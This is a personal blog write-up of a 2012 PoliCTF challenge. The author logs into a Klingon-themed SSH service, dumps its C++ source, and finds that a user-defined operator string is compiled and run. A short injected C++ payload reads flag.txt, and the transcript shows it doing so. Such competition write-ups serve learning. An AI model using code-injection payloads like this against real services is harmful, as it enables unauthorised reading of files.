PoliCTF B1n400 write up


I took part in the PoliCTF, which lasted 24h starting from November 17th, 2012.

This was the first CTF organised by the students from Politecnico di Milano (hence the name), and it was also the first CTF I took part in. notice by @Rogdham: “Your submission of flag […] has earned 440 points.” My first CTF ever, and I scored! So happy! #success #poliCTF

I managed to capture the flag for the B1n400 challenge (with some help from my team members), and here is how I did it.



The description of this challenge was pretty short:

Alien Technologies.

First things first, connect to the server. It takes no time to discover that this is a SSH server running on port 16000. And you probably want to log in as user challenge. The private key you sent to the organisers gets the job done quite easily.

Instead of a shell prompt, a few characters appears when you connect:

loS .......... ghItlh pIqaD (a..y)

It seems that this server speaks Kligon. At least, this is what I found doing a quick search on these characters. At that point, using an online dictionary is really useful, especially if you are not fluent in Kligon.

Here, it asks to wait first, and then to write some Klingon command.


Then, you try random command, using letters from a to y. Or should I say using Kligon alphabet? There are not so many letters in that alphabet, so ch is probably your third attempt.

loS .......... ghItlh pIqaD (a..y) ch ghItlh teywI' pong (main.cpp, ...)

You are asked to write a file name here, and it suggests main.cpp. So you try ch main.cpp but it does not work. After a while, you figure out that you should not put the file name directly after ch, but on the next line… and you get the listening of main.cpp.

#include "prompt.h" #include <iostream> #include <cstdlib> #include <unistd.h> #include <pthread.h> using namespace std; void *timeout(void*) { sleep(60); cout<<"Dor"<<endl; exit(0); } int main() { pthread_t t; pthread_create(&t,0,timeout,0); cout<<"loS "; cout.flush(); for(int i=0;i<10;i++) { sleep(1); cout<<'.'; cout.flush(); } cout<<endl; Prompt prompt;; return 0; }

Nothing interesting here, except #include "prompt.h". Hence, the next thing you do is using ch to get the content of the files prompt.h and prompt.cpp. And it starts to be interesting. Here is the snippet corresponding to the ch command:

void Prompt::dump() { cout<<"ghItlh teywI' pong (main.cpp, ...)"<<endl; string name; getline(cin,name); bool ok=false; if(name=="main.cpp") ok=true; if(name=="prompt.h") ok=true; if(name=="prompt.cpp") ok=true; if(name=="data.h") ok=true; //if(name=="flag.txt") ok=true; if(ok==false) { cout<<"Qagh"<<endl; return; } string line; int i=1; ifstream in(name.c_str()); while(getline(in,line)) cout<<setw(3)<<i++<<" "<<line<<endl; }

Of course, you will download the data.h file using ch. But one thing is more important: you know that you are looking for a way to get the content of the flag.txt file!

But wait, there are more commands available! Now that you have access to a part of the source code, things are getting easier. The gh command enables you to put a float on a stack, and tlh to apply an operator on the content of the stack (if there are at least 3 elements in it) and get the result back. The list of operators is in the file prompt.h:

class Prompt { public: Prompt() { op[0]="result=mean+variance"; op[1]="result=mean+2*variance"; op[2]="result=mean+3*variance"; op[3]=";"; } void run(); private: bool execute(const std::string& command); void dump(); void add(); void addOp(); void get(); std::string op[4]; Data<float> data; };

Finally, the ng command allows you to define op[3] up to 80 characters.

Let's try what happened if you use result=6*7 as the operator:

loS .......... ghItlh pIqaD (a..y) ng ghItlh Qap result=6*7 ghItlh pIqaD (a..y) gh ghItlh De' 1 ghItlh pIqaD (a..y) gh ghItlh De' 1 ghItlh pIqaD (a..y) gh ghItlh De' 1 ghItlh pIqaD (a..y) tlh ghItlh Qap (0..3) 3 1 0 42 ghItlh pIqaD (a..y) Dor

Yeah, it gets executed, and you got 42 back!


Exploit time! Remember that you want to get the content of flag.txt back. At that point, since I don't know C++, I tried different things. With some very beautiful error messages from times to times… which confirm that some JIT compilation is done.

Opps, faillure

Anyway, after a few tries your exploit succeed, and you get the flag back!

loS .......... ghItlh pIqaD (a..y) ng ghItlh Qap string l;ifstream in("flag.txt");while(getline(in,l)) cout<<l ghItlh pIqaD (a..y) gh ghItlh De' 1 ghItlh pIqaD (a..y) gh ghItlh De' 1 ghItlh pIqaD (a..y) gh ghItlh De' 1 ghItlh pIqaD (a..y) tlh ghItlh Qap (0..3) 3 Well done, you found the flag:jbvenvinvpek2envi2nThis challenge is powered by cling: 0 0 ghItlh pIqaD (a..y) Dor

Flag: jbvenvinvpek2envi2n.


That challenge was not really technical, since I managed to do it without knowing a word of Kligon or C++. However, it was fun, and scoring makes everyone happy in your team!

00:16:15 @csn top work 00:16:22 @csn AFiniteNumberOfMonkeys: 440points 00:16:22 +Rogdham Your submission of flag *** has earned 440 points. 00:16:27 +Rogdham heah\o/ 00:16:27 @csn BIRMINGHAM WOO 00:16:27 gardiner90 AFiniteNumberOfMonkeys: 440points 00:16:34 Abstract_Tom Well played \o/ 00:16:36 +boxcar Woo :D 00:16:39 +Rogdham youhouuuuuuuu 00:16:42 +boxcar Heroic! 00:16:43 gardiner90 we are now 8th out of 180!!

Here is the final result of our team. See the 440 points? ;-)

Final ranking

Many thanks to the A Finite Number Of Monkeys team members!

This article and its images are released under the CC BY-SA licence.

Short URL: